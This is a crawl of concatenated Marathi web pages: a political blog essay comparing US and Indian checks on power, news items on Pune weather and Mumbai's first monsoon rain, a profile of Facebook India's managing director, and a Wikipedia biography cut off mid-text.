झाल्या तर पुढच्या वर्षी संसदेच्या. राष्ट्राध्यक्ष हा त्याहुन वेगळा. त्याची एक वेगळीच निवडणुक पण त्याला पण निरंकुश सत्ता बहाल नाही करत. सतत बदलणाऱ्या संसद आणि कॉन्ग्रेस ला धरुन धरुन तो मार्गक्रमण करतो. तो स्वत:ला आवडेल त्या व्यक्ती नियुक्त करतो परंतु त्या सर्व व्यक्तिंना संसदेची मंजुरी तर लागतेच परंतु त्या सर्वांचे नियमितपणे कार्याचे मूल्यमापन देखील करते.\nसेनेट वेगवेगळ्या मंत्र्याचे मूल्यमापन करत असताना कॉन्ग्रेस एकच मुख्य काम करते .. तेम्हणजे कुठल्याही कामासाठी लागणारे पैसे मंजुर करणे.\nहे सर्व होत असताना राज्यांच्या निवडणुकादेखील मध्येच होत असतात. त्याही अशा पद्धतीने की कोणत्याही एका पक्षाला लाटेवर स्वार होता येत नाही.\nभारतात ७७-७९ साली आणीबाणी, ८४ साली इंदिरा गांधींचा मृत्यु, ८९ साली बोफोर्स, ९०-९२ साली राममंदिर अश्या अनेक लाटा दिसुन आल्या. त्या सर्वांचा परिणाम असा की केंद्रात किंवा राज्यात अशी सरकारे आली (वाजपेयीं अपवाद वगळता) की सर्वांनी सत्तेचा दुरुपयोगच केला. दोष राजकारण्याचा आहेच. परंतु दोष आपला सर्वांचासुद्धा आहे. आपण जर या लोकांना प्रश्न नाही विचारले. त्यांच्यावर अंकुश नाही ठेवला तर ते भ्रष्टाचारच करणार.\nपूर्वी आपल्याकडे इंग्रजांनी तैनाती फौजा तयार केल्या आणि आपले बव्हंशी राजे त्यांचे मांडलिक झाले आणि अंतिमत: सत्ता राज्य आणि संपत्ति सर्वच गमावुन बसले. जी कथा राजांची तीच प्रजेची. आपला उत्कर्ष करायचा असेल तर दुसऱ्यावर पूर्ण विसंबुन राहण्यात अर्थ नाही. ज्यांच्याकडे सत्ता आहे ते त्यांचाच उत्कर्ष प्रथम करणार. तो मानवी स्वभाव आहे. त्याला मुरड तेव्हाच घातली जाईल जेव्हा सामान्य माणुस आपल्या हक्कांसाठी लढायला तयार होईल.\nअमेरिकेत सत्तेवर कसा ठायी ठायी अंकुश आहे याचे अजुन एक उदाहरण म्हणजे कुठल्याही जिल्ह्यापातळीवरचा न्यायाधीश हा देखील लोकांनी निवडुन दिलेला असतो. त्यामुळे त्याच व्यक्ती न्यायाधीश होऊ शकतात ज्या लोकांच्या हिताचे काम करतात. आपल्याकडे न्यायव्यवस्था पूर्णपणे कोलमडली आहे असे म्हणायला हरकत नाही. याचे कारणच हे आहे की न्यायाधीशांना जाब कोण विचारणार अगदी राज्य सरकार देखील विचारु शकत नाही. थेट राष्ट्रपतीच नियुक्ती करतात जिल्हान्यायाधीशांची. जेव्हा न्याय होऊ शकत नाही तेव्हा नकळत एक नवा अन्याय लादला जातो.\nअसो ... परंतु आजच्या या मंत्राच्या खिरापतीच्या बातमीने हे सगळे विचार एकापाठोपाठ आले. भारतात अण्णा हजारे सोडले तर सर्व तथाकथित समाजनेते आपली स्वत:ची पोळी भाजुन घेताना दिसतात. मठ उभारतील नाहीतर राष्ट्रभक्तीची शिबिरे घेतील ... परंतु सामान्य माणसापेक्षा कुठलेतरी तत्वज्ञान मोठे. कळत नाही असे कुठवर चालणार. माझ्या एका मित्राच्या घरी (कसब्यातील जुने वाडे ते) तुळईवर खडूने लिहिले होते त्याच्या वडिलांनी \"हे असेच चालयाचे\". आम्ही विचारले हे का लिहिले तर कळले की आणीबाणी नंतर जनता सरकार आले आणि गेले तेव्हा उद्वेगाने त्यांनी राजकारणात रस घेणेच सोडले.\nमला वाटते हीच भारतातील ९९% लोकांची अवस्था आहे. आपण संघर्षाला घाबरतो. आपला धीर लगेच जातो आणि आपण \"ठेवीले अनंते तैसेची रहावे\" म्हणत \"असमाधानी\" राहतो. जोपर्यंत सामान्य माणसात संघर्षाची वृत्ती येत नाही, आणि सत्तेला झुगारुन देण्याची त्याची तयारी होत नाही तोपर्यंत हे असेच चालायचे. मराठी माणसे तशी भाग्यवान आहेत कारण त्यातल्या त्यात आपल्याकडेच ही वृत्ती आहे. आणि म्हणुनच आपल्याकडे तुलनेने अधिक समानता आणि सुबत्ता आहे. परंतु डोळे उघडे करुन जगात दुसरीकडे पाहिले तर आपल्याला अजुन बरेच काही शिकायचे आहे आणि करायचे आहे.\nहवाहवाई - भाग १ माऊई कडे प्रयाण\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00358.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/maharashtra/pune-news/winters-in-the-cold-winter-day/articleshow/65760115.cms", "date_download": "2018-09-25T18:12:58Z", "digest": "sha1:JH2YGMOFEGSS42I7Q3OKY7XPKHMDWX6S", "length": 10036, "nlines": 136, "source_domain": "maharashtratimes.indiatimes.com", "title": "pune news News: winters in the cold winter day - पहाटे थंडीअन् दिवसा ऊन | Maharashtra Times", "raw_content": "\nशिळ घालत संवाद साधणाऱ्या गावची कथा\nशिळ घालत संवाद साधणाऱ्या गावची कथाWATCH LIVE TV\nपहाटे थंडीअन् दिवसा ऊन\nम. टा. प्रतिनिधी, पुणे\nपावसाळा संपला नसला, तरी पुणेकर सध्या पहाटे थंडी, दिवसा ऊन, रात्री गारव्याचा अनुभव घेत आहेत. ऑक्टोबर हिटला अजून वेळ असला तरी शहरात सोमवारी कमाल तापमान ३०.३ अंश सेल्सिअस नोंदविण्यात आले. पुण्यात किमान तापमान १८.२ अंश सेल्सिअस तर लोहगावमध्ये २४.७ अंश सेल्सिअस होते. दोन स्टेशनमध्ये दहा किलोमीटरचे देखील अंतर नसताना किमान तापमानात सहा अंश सेल्सिअसचा फरक नोंदवला गेला.\nपुण्यामध्ये गेल्या आठवडाभरापासून पावसाने विश्रांती घेतली आहे. किमान आणि कमाल तापमानातही घट झाल्यामुळे शहरात दोन दिवसांपूर्वीपर्यंत संध्याकाळनंतर हवेत गारवा जाणवत होता. मात्र, रविवार आणि सोमवार सलग दोन दिवस कमाल तापमानात वाढ झाली आहे. सोमवारी सकाळपासूनच ऊन होते. दुपारी उन्हाचे चटके जाणवले. संध्याकाळनंतर पुन्हा गारवा होता. दिवसभरात किमान १८.२ आणि कमाल ३०.३ अंश सेल्सिअस तापमान नोंदवले गेले. पुढील दोन दिवस तापमान दिवसभरात पावसाच्या एक दोन सरी पडतील, अशी शक्यता हवामान विभागाने वर्तवली आहे.\nमिळवा पुणे बातम्या(pune news News in Marathi) से मराठी बातम्या( Marathi News) तुमच्या मोबाइलवर मिळवण्यासाठी डाउनलोड करा Marathi News App ...आणि प्रत्येक बातमीबाबत राहा अपडेट\npune news News याच्याशी संबंधित ताजे अपडेट्स मिळवण्यासाठी मटा ऑनलाइनचे फेसबुक पेज लाइक करा\nसई ताम्हणकर आता 'अशी' दिसतेय\nशनाया निघाली न्यूयॉर्कला, चैन पडेना...\nसापानं लढवलेली युक्ती पाहून थक्क व्हाल\n'तुला पाहते रे'मधील ईशा नेमकी आहे कोण\nकोहली, मीराबाई खेलरत्न पुरस्काराने सन्मानित\nराजस्थानच्या मुख्यमंत्र्यांच्या सुरक्षा रक्षकाने चोरले पैसे\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलिसांची तरुणीला मारहाण\nपती दिसायला सावळा, पत्नीने किस करताना चावली जीभ\nमेणबत्तीच्या प्रकाशात रुग्णांना तपासण्याची सक्ती\nपुण्यात २ अल्पवयीन मुलींवर बलात्कार, एकीचा मृत्यू\nGanpati Immersion: 'डीजे नाही तर विसर्जन नाही'\nDJ Ban: पुण्यात डीजे बंदीला फासला हरताळ\nविमानतळावर ‘फेस रेकग्निशन’ प्रणाली\nसमलिंगी संबंधांतून एकावर वार\nमटा न्यूज अॅलर्ट सबस्क्राइब करा\nदिवसभरातील ठळक बातम्या पाहा तुमच्या डेक्सस्टॉपवर\n*केव्हाही ब्राउजर सेटिंग्ज बदलून नोटिफिकेशन्स ऑफ करू शकता.\nमटा ऑनलाइन च्या अॅपसोबत\n1पहाटे थंडीअन् दिवसा ऊन...\n2विद्यार्थी शिकणार निसर्ग वाचन...\n3‘भारत बंद’च्या पार्श्वभूमीवर कडेकोट बंदोबस्त...\n4मांडवासाठी नोटिसा देण्यास सुरुवात...\n5बांधकामांना महापालिका देणार मुदतवाढ...\n6नगर रस्त्याचा गोंधळ कायम...\n7शिष्यवृत्तीमुळे लग्नाचा विचार बाजूला...\n8‘क’चे वर्गीकरण करता येत नाही...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00358.warc.wet.gz", "language": "mr", "language_score": 0.84, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/bc883fb136/-quot-the-world-is-becoming-visible-and-how-they-are-showing-me-my-daughters-39-kirthiga", "date_download": "2018-09-25T17:54:43Z", "digest": "sha1:53GI4PD5EMCAOMN2MXJXHIA6AG3EEXXS", "length": 19327, "nlines": 91, "source_domain": "marathi.yourstory.com", "title": "‘जग दृष्यमान होत आहे आणि कसे, ते माझ्या मुली मला दाखवित आहेत’ – किर्थिगा रेड्डी, व्यवस्थापकीय संचालक, फेसबुक इंडिया.", "raw_content": "\n‘जग दृष्यमान होत आहे आणि कसे, ते माझ्या मुली मला दाखवित आहेत’ – किर्थिगा रेड्डी, व्यवस्थापकीय संचालक, फेसबुक इंडिया.\nजेंव्हा त्या टीमने केलेल्या कामावर खुष होतात तेंव्हा त्यांना शाबासकी देण्यासाठी शार्क चे प्रतिक (इमोजी) पाठवतात... तुम्ही करुन दाखविलेत असे त्याद्वारे सांगतात.... आजच्या भाषेत म्हणायचे तर ‘कुल ना’... त्या आहेतच तशा ‘कुल’... बदलांचे स्वागत मोकळ्या मनाने करणाऱ्या आणि रोज नवीन काहीतरी शिकत रहाण्याची इच्छा असलेल्या....त्या आहेत फेसबुक इंडीयाच्या एमडी अर्थात व्यवस्थापकीय संचालक किर्थिगा रेड्डी... . २०११ ला फॉर्च्युन इंडिया या मासिकाच्या भारतातील पन्नास सर्वाधिक शक्तीशाली महिलांच्या यादीत त्यांचाही समावेश होता. जाणून घेऊ या किर्थिगा यांची ही कहाणी...\nकिर्थिगा यांचा जन्म नागपूरचा... कष्टाला अतिशय महत्व देणारे उत्तम मध्यमवर्गीय संस्कार त्यांच्यावर झाले. वडिलांच्या नोकरीच्या निमित्ताने त्यांच्या आयुष्यातील महत्वाची वर्षे दंडेली आणि नांदेडमध्ये गेली.\nनांदेड येथील एमजीएम कॉलेज ऑफ इंजिनियरींग मधून त्यांनी संगणक अभियांत्रिकीचे शिक्षण पूर्ण केले आणि त्यानंतर त्या कानेटकर ट्युटोरीयल्समध्ये शिकण्यासाठी नागपूरला परतल्या.\nपुढे त्यांनी स्टॅंडफोर्ड विद्यापीठातून बिझिनेस ऍडमिनिस्ट्रेशन अर्थात व्यवसाय प्रशासनामध्ये पदव्युत्तर शिक्षण आणि सिरॅकस विद्यापीठातून संगणक अभियांत्रिकेचे शिक्षण पूर्ण केले. त्यानंतर त्यांनी अमेरिका स्थित फिनिक्स टेक्नॉलॉजिज मध्ये काम करण्यास सुरुवात केली जेंव्हा त्यांना फेसबुकमधील त्यांच्या ड्रिम जॉबसाठी विचारणा झाली आणि त्यांची कारकिर्द जोमाने सुरु झाली.\nअतिशय मोठ्या पदावर काम करणाऱ्या किर्थिगा या मात्र स्वतःला आजही एक विद्यार्थी मानतात आणि अनेक गोष्टी आपण आपल्या मुलींकडूनच शिकलो हेदेखील प्रांजळपणाने सांगतात. त्यामुळेच कदाचित फेसबुकसारख्या आजच्या पिढीच्या माध्यमातही त्या सहजगत्या रुळून गेल्या आहेत. जे काही त्यांच्या मनात आहे ते मोकळेपणाने व्यक्त करताना त्या मुळीच कचरत नाहीत. फेसबुकच्याच परिभाषेत सांगायचे तर ‘ व्हॉटस् ऑन हर माईंड’ अंतर्गत त्या मोकळेपणाने शेअर करतात. जग हे अधिकाधिक दृष्यमान होत चालले आहे, असा किर्तिगा यांचा विश्वास आहे. तसेच आजच्या काळात व्यक्तिगत आणि व्यावसायिक अशा दोन्ही प्रकारच्या संवांदांवर प्रतिमा, व्हिडिओ, स्टीकर्स, अगदी ३डी या गोष्टींचा प्रभाव दिसून येत असल्याचे त्यांचे म्हणणे आहे आणि हे ज्ञान फेसबुकच्या बोर्ड मिटींगमधून नव्हे तर घरीच मिळाल्याचेही त्या आवर्जून सांगतात. “ जग हे दृष्यमान होत चालले आहे आणि ते कसे, हे माझ्या मुलींनी मला दाखविले,” किर्थिगा कौतुकाने सांगतात. त्यांच्या मोठ्या मुलीकडून त्या फिल्ममेकींग शिकल्या आणि त्यांच्या टीमचे काम त्यांनी ००७ स्टाईल व्हिडिओच्या माध्यमातून दाखवून दिले. जेंव्हा त्या त्यांच्या मुलींना केलेल्या मेसेजचा शेवट XOXO असा करतात, तेंव्हा आपल्या आईला याचा अर्थ माहित असल्याचे पाहून त्या मुलीदेखील चकीत होतात.\n“ आजच्या घडीला दररोज फेसबुकवर चार अब्ज व्हिडिओ पाहिले जातात आणि त्यापैकी ७५ टक्के मोबाईलवर पाहिले जातात,” त्या सांगतात. त्या पुढे म्हणतात, “ जग कुठे चालले आहे हे माझ्या मुली मला शिकवितात आणि त्याचबरोबर त्याच्याशी जुळवून घेण्यासाठी मला मदत करतात आणि काळाबरोबर पुढे जाण्यास शिकवितात. एका अर्थाने त्या मला वेगवेगळ्या प्रकारे पुढे खेचतात.”\nयुअरस्टोरीशी बोलताना किर्थिगा म्हणतात, “ लोक फेसबुककडे येतात ते जोडले जाण्यासाठी आणि व्यक्त होण्यासाठी... आणि हा संवाद वेगवेगळ्या प्रकारे होतो. जसा की दोन व्यक्तींमध्ये मर्यादीत असलेला, एक व्यक्ती आणि अनेक व्यक्तींमध्ये होणारा किंवा अनेकांमध्ये एकाचवेळी चालणारा संवाद.... अशा वेळी आमच्या ऍपस् यासाठी कामी येतात... आणि यामध्ये केवळ फेसबुकच नाही तर इन्स्टाग्राम, मेसेंजर आणि व्हॉटस्ऍपचाही समावेश करावा लागेल. यापूर्वीच आम्ही १५२ दशलक्ष लोकांना एकमेकांशी जोडण्यात यशस्वी ठरलो आहोत आणि अजूनही आम्हाला अब्जापेक्षा जास्त लोकांना जोडायचे आहे आणि हे खूपच उत्साहवर्धक आहे.” आपले उद्दीष्ट साध्य करण्यासाठी म्हणून तरुण लोक जो विचार करतात त्याच्या एक पाऊल पुढे रहाण्याच्या दृष्टीने आवश्यक ते शिकण्यासाठी किर्थिगा नेहमीच आपले डोळे आणि कान उघडे ठेवतात.\nउच्च शिक्षित असलेल्या किर्थिगा यांच्या मते त्यांचे शिक्षण आजही सुरुच आहे. “ त्या दोघींनी (मुलींनी) पालकत्वाच्या माझ्या व्याख्येचा पार चुराडा केला आहे. ”\nइतर अनेक नोकरी करणाऱ्या महिलांप्रमाणेच किर्थिगा यांच्यासाठीही वैयक्तिक आयुष्य आणि व्यावसायिक आयुष्य यातील तोल सांभाळणे कठीण होते. मात्र आज या समस्येवर मात करुन त्यांनी एक नवीन उदाहरण घालून दिले आहे आणि मात कशी करता येते ते त्यांनी स्वतःच्या उदाहरणातूनच सिद्ध केले आहे.\nइन्कटॉक्सच्या (INKTalks) व्यासपीठावरुन मुंबईत बोलताना त्यांनी याबाबत विस्ताराने सांगितले, “ माझी दुसरी मुलगी, आरीया, हीच्या जन्मानंतर मला नोकरीनिमित्त प्रवास करण्याचा निर्णय घ्यावाच लागला होता. (सहा महिन्यांची बाळंतपणाची रजा संपल्यानंतर) मात्र मुलगी एक वर्षांची होईपर्यंत तिची काळजी घेणे हे देखील माझ्यासाठी अतिशय महत्वाचे होते. ते दिवस माझ्यासाठी अतिशय क्लेशकारक होते. तो माझ्यासाठी कठीण काळ होता आणि मी विचार करत होते की कदाचित हाच तो क्षण नाही ना, ज्याच्याबद्दल सगळे म्हणतात, की व्यावसायिक आणि खासगी उद्देशांपैकी तुम्हाला एक काहीतरी निवडावे लागते.”\nपण यामधूनच त्यांना नवीन कल्पना सुचली... “ मी दोन्ही करु शकते, अशी जाणीव मला झाली,” त्या सांगतात. त्यामुळे जेंव्हा त्यांना कामानिमित्त प्रवास करावा लागत असे, तेंव्हा त्या बाळाला बरोबर घेऊन जात असत. त्यांचे सहकारी बाळासाठी चांगले डे केअर शोधत असत आणि मिटींग्जच्या मधल्या काळात त्या मुलीची काळजी घेत. त्यातूनच ‘हे किंवा हे’ यापासून दूर जात ‘हे आणि हे’ हा शोध त्यांना लागू शकला.\nआयुष्याच्या इतर गोष्टींमध्येही किर्थिगा हेच तत्वज्ञान वापरतात. त्यांचे व्यस्त वेळापत्रक पहाता त्या सामाजिक कामासाठी वेळ देऊ शकत नाहीत. “ पण शक्य त्या प्रकारे आम्ही योगदान देतो. मी आणि माझ्या मुली किचनमध्ये मदत करतो, दुसरी भाषा म्हणून इंग्रजी शिकवितो, झाडे लावतो आणि बरेच काही करतो,” त्या सांगतात.\nयामुळे पालकत्वही अधिक सक्षमपणे निभावण्यात त्या यशस्वी झाल्या आहेत. “ बहुतेकदा आई लोकांचा व्हॉटस्ऍप ग्रुप असतो. मग पालक लोकांचा व्हॉटस्ऍप ग्रुप का असू नये माझे पती, देव, हे कौटुंबिक जबाबदारीमध्ये जास्त पण कमीत कमी पन्नास टक्के भागीदार राहिले आहेत,” त्या सांगतात.\nशिकणे, बदलणे आणि पुन्हा शिकण्याच्या किर्तिगा यांच्या या सायकलमधील महत्वाचा भाग आहे तो म्हणजे बदल स्वीकारण्याची तयारी... “ बदलाला विरोध करु नका. बदल चांगला असतो. नवनवीन प्रेरणादायी मार्गांचे मुक्तपणे स्वागत करा, त्यामध्ये काही गोष्टी अपेक्षित असतील तर काही अनपेक्षित,” त्या सांगतात.\nही आयुष्यभर शिकत रहाण्याची संस्कृती आपण वर्गांमध्ये किंवा कंपन्यांमध्ये नेऊ शकतो का “ फेसबुकमध्ये आमच्याकडे हॅकींगची संस्कृती आहे. आमच्याकडे हॅक सेशन्स आहेत आणि त्यामधून कधीतरी खूप मोठा बदल समोर येतो,” त्या सांगतात. त्याचप्रमाणे त्यांच्यामते वर्गांनी अधिक खुला दृष्टीकोन ठेवला पाहिजे आणि मुलांना प्रश्न विचारण्याची आणि जिज्ञासू होण्याची परवानगी दिली पाहिजे.\nत्यांच्यामते त्यांची भावनिक बुद्धिमत्ता आणि प्रभावीपणा त्यांच्या मुलींकडून त्यांना मिळाला आहे आणि त्यांच्याकडूनच त्या यशस्वी आयुष्याचा मार्ग आखण्यास शिकल्या आहेत.\nमहिलांच्या विकासातील मोठा अडथळा म्हणजे स्वतः महिलाच – अनिषा सिंह, संस्थापिका, मायदल\nबरैली ते नवी दिल्लीः कथा रश्मी वर्मा यांच्या रंजक प्रवासाची....\nअश्विनी असोकनः आर्टीफिशियल इंटेलिजन्स क्षेत्रातील ‘रिअल’ उद्योजिका\nएका कल्पक उद्योजिनीची कहाणी...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00358.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://lokmat.news18.com/mumbai/mumbai-first-rain-in-mumbai-262719.html", "date_download": "2018-09-25T16:47:36Z", "digest": "sha1:XSZBTWYZCRBH3F7RZPF6VQHQ3A5F7WJ4", "length": 13245, "nlines": 129, "source_domain": "lokmat.news18.com", "title": "पहिल्याच पावसाने मुंबापुरीला झोडपलं", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nपहिल्याच पावसाने मुंबापुरीला झोडपलं\nअखेर मान्सूनने मुंबापुरीत दमदार एंट्री केलीये. मुंबईसह राज्यभरात पावसाने हजेरी लावत चिंब भिजवलंय.\n12 जून : अखेर मान्सूनने मुंबापुरीत दमदार एंट्री केलीये. मुंबईसह राज्यभरात पावसाने हजेरी लावत चिंब भिजवलंय. विजांच्या कडकडासह आलेल्या पावसाने नागरिकांची त्रेधातिरपट उडाली.\nमुंबईतील सखल भागात पाणी साचल्यामुळे वाहतुकीची कोंडी झाली.\nमुंबईसह राज्यभरात मान्सूनने दमदार हजेरी लावली. विजांच्या कडकडासह पावसाने जोरदार धुमशान घातलं. लोअर परळ ,वरळी, लालबाग आणि दादर परिसरात मुसळधार पाऊस झाला. पहिल्याच पावसाने मुंबईची लाईफलाईन स्लो ट्रॅकवर आली. मध्य आणि हार्बरमार्गावरील लोकल धीम्या गतीने सुरू आहे.\nतर अनेक भागात वीज कोसळल्याच्या घटना घडल्या. तसंच काही भागांत जोरदार वादळामुळे झाडे उन्मळून पडल्यानं वाहतुकीची कोंडी झाली.\nमराठवाड्यातील लातूर, बीड, उस्मानाबा, नांदेडमध्ये जोरदार पाऊस झाला. नांदेडमध्ये वीज कोसळून पाच महिलांचा मृत्यू झाला. पुण्यातही मान्सूनने जोरदार सलमी दिली. दोन तास बरसलेल्या पावसामुळे अनेक ठिकाणी रस्ते जलमय झाल्याचे चित्र दिसत होते. मनमाडमध्येही पावसाने हजेरी लावली.\nयेत्या 48 तासांमध्ये कोकणासही मध्य महाराष्ट्र आणि मराठवाड्यात मुसळधार पावसाचा हवामान खात्याने इशारा दिलाय.\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\nमेट्रो-3 च्या पहिल्या बोगद्याचं भुयारीकरण यशस्वीरित्या पूर्ण\n'निरोप घेतो देवा आम्हा आज्ञा असावी...',मुंबईतील गणेश विसर्जनाचे टाॅप 20 PHOTOS\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00358.warc.wet.gz", "language": "mr", "language_score": 0.95, "bucket": "all"} {"url": "https://mr.wikipedia.org/wiki/%E0%A4%B6%E0%A4%BF%E0%A4%B5%E0%A4%BE%E0%A4%9C%E0%A5%80%E0%A4%B0%E0%A4%BE%E0%A4%B5_%E0%A4%AD%E0%A5%8B%E0%A4%B8%E0%A4%B2%E0%A5%87", "date_download": "2018-09-25T17:26:34Z", "digest": "sha1:BC724RMKCQXLJD3OPGBGPY7TZZ6KZR4Q", "length": 26024, "nlines": 193, "source_domain": "mr.wikipedia.org", "title": "शिवाजीराव अनंतराव भोसले - विकिपीडिया", "raw_content": "\n(शिवाजीराव भोसले या पानावरून पुनर्निर्देशित)\nजुलै १५, इ.स. १९२७\nकलेढोण , (सातारा जिल्हा), महाराष्ट्र, भारत\nजून २९, इ.स. २०१०\nपरळ (मुंबई), महाराष्ट्र, भारत\nअध्यापन, तर्कशास्त्र, तत्त्वज्ञान, साहित्य, व्याख्याते\nदीपस्तंभ, यक्षप्रश्न, जागर (खंड १ आणि २), प्रेरणा, हितगोष्टी\nसंजीव (मुलगा); रंजना (सून); प्रा. अंजली (मुलगी)\nहा लेख प्राचार्य शिवाजीराव भोसले याबद्दल आहे. या शब्दाच्या इतर उपयोगांसाठी पाहा, छत्रपती शिवाजीराजे भोसले.\nशिवाजीराव अनंतराव भोसले (जुलै १५, १९२७ - जून २९, २०१०) हे मराठी वक्ते, लेखक होते.\n१ बालपण आणि कौटुंबिक पार्श्वभूमी\nबालपण आणि कौटुंबिक पार्श्वभूमी[संपादन]\nभोसल्यांचा जन्म सातार्‍यातील कलेढोण येथे जुलै १५, १९२७ रोजी झाला. त्यांचे वडील अनंतराव भोसले हे प्राथमिक शिक्षक होते. त्यांच्या आईचे नाव अनसूयाबाई होते. भोसल्यांचे थोरले भाऊ लष्करी अधिकारी, तर दुसर्‍या क्रमांकावरील थोरले बंधू प्राथमिक शिक्षक आणि त्यानंतरचे बंधू बॅरिस्टर बाबासाहेब भोसले हे महाराष्ट्राचे माजी मुख्यमंत्री होते.\nविटा या लहान गावात शिवाजीरावांनी प्राथमिक शिक्षण पूर्ण केले. पुढे सातारा हायस्कूल, पुण्यातील न्यू इंग्लिश स्कूल, वाडिया कॉलेज आणि कोल्हापूरच्या राजाराम कॉलेजमध्ये त्यांचे माध्यमिक आणि कॉलेजचे शिक्षण झाले. राजर्षि शाहू महाराजांच्या बोर्डिंगाच्या 'कमवा शिका' योजनेचा लाभही त्यांनी घेतला. कायद्याची पदवी त्यांनी पुण्याच्या आयएलएस लॉ कॉलेजातून घेतली. थोरले भाऊ बाबासाहेब भोसले यांच्याबरोबर सातार्‍यात त्यांनी काही काळ वकिलीही केली.\nफलटणच्या मुधोजी कॉलेज येथे तर्कशास्त्र, मानसशास्त्र आणि तत्त्वज्ञान हे विषय शिकवण्यास १९५७ मध्ये त्यांनी प्रारंभ केला. अत्यंत कठीण असणारे हे विषय सहज, सोपे करून शिकवण्यात त्यांचा हातखंडा होता. याच कॉलेजमध्ये त्यांनी सुमारे २५ वर्षे प्राचार्यपदाची धुरा सांभाळली.\n१९८८-९१ या काळात त्यांनी औरंगाबादच्या मराठवाडा विद्यापीठाचे कुलगुरुपद सांभाळले.\nशिवाजीराव भोसले एक सुपरिरित व्याख्याते होते. भारतीय तत्त्वज्ञान, भारतीय समाजसुधारक, योगी अरविंद, स्वामी विवेकानंद, छत्रपती शिवाजी महाराज, मराठी संत, तर्कशास्त्र, मानसशास्त्र, साहित्य इत्यादी विषयांवर ते अभ्यासपूर्ण व्याख्यान देत. त्यांपैकी काही व्याख्यानमाला अशा :-\nवसंत व्याख्यानमाला, पुणे आकाशवाणी, श्रीमंत 